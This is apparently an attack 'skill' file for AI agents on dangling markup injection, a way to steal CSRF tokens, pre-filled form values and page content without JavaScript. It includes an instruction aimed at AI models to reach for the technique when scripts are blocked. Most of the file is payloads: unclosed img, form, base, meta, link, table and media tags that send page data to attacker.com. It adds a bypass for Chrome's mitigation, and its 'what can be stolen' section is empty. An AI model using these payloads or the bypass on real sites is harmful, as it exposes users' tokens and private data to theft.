Dangling Markup Injection

SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

• xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
• csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
• csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
• crlf-injection when CRLF enables HTML injection in HTTP response
• web-cache-deception when dangling markup + cache poisoning amplifies the attack

1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

1. You have an HTML injection point (reflected or stored)
2. JavaScript execution is blocked:
   • CSP blocks inline scripts and event handlers
   • Sanitizer strips <script>, onerror, onload, etc.
   • WAF blocks known XSS patterns
3. The page contains sensitive data AFTER your injection point:
   • CSRF tokens
   • Pre-filled form values (email, username, API keys)
   • Session identifiers in hidden fields
   • Sensitive user content

Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.

2. CORE TECHNIQUE

Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>

Injected payload:
  <img src="https://attacker.com/collect?

Resulting HTML:
  <div>Hello <img src="https://attacker.com/collect?</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>
  ...rest of page until next matching quote (")...

The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.

3. EXFILTRATION VECTORS

3.1 Image Tag (Most Common)

<!-- Double-quote context -->
<img src="https://attacker.com/collect?

<!-- Single-quote context -->
<img src='https://attacker.com/collect?

<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?

The browser sends a GET request to attacker.com with all consumed content as query parameters.

Blocked by: img-src CSP directive

3.2 Form Action Hijack

<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--

If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

Blocked by: form-action CSP directive

Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.

3.3 Base Tag Hijack

<base href="https://attacker.com/">

All subsequent relative URLs on the page resolve to attacker's server:

• <script src="/js/app.js"> → loads https://attacker.com/js/app.js
• <a href="/profile"> → links to https://attacker.com/profile
• <form action="/submit"> → submits to https://attacker.com/submit

Blocked by: base-uri CSP directive

3.4 Meta Refresh Redirect

<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?

Redirects the entire page to attacker's server with consumed page content in the URL.

Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.

3.5 Link/Stylesheet Exfiltration

<link rel="stylesheet" href="https://attacker.com/collect?

Browser requests the URL as a CSS resource, leaking consumed content.

Blocked by: style-src CSP directive

3.6 Table Background (Legacy)

<table background="https://attacker.com/collect?

Works in older browsers that support the background attribute on table elements.

Blocked by: img-src CSP directive

3.7 Video/Audio Poster

<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?

Blocked by: media-src / img-src CSP directives

4. WHAT CAN BE STOLEN

5. BROWSER-SPECIFIC BEHAVIOR

Chrome Mitigation Detail

Chrome blocks navigation/resource load when the URL attribute value contains:

• < character (indicates HTML tag consumption)
• Newline characters (\n, \r)

Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.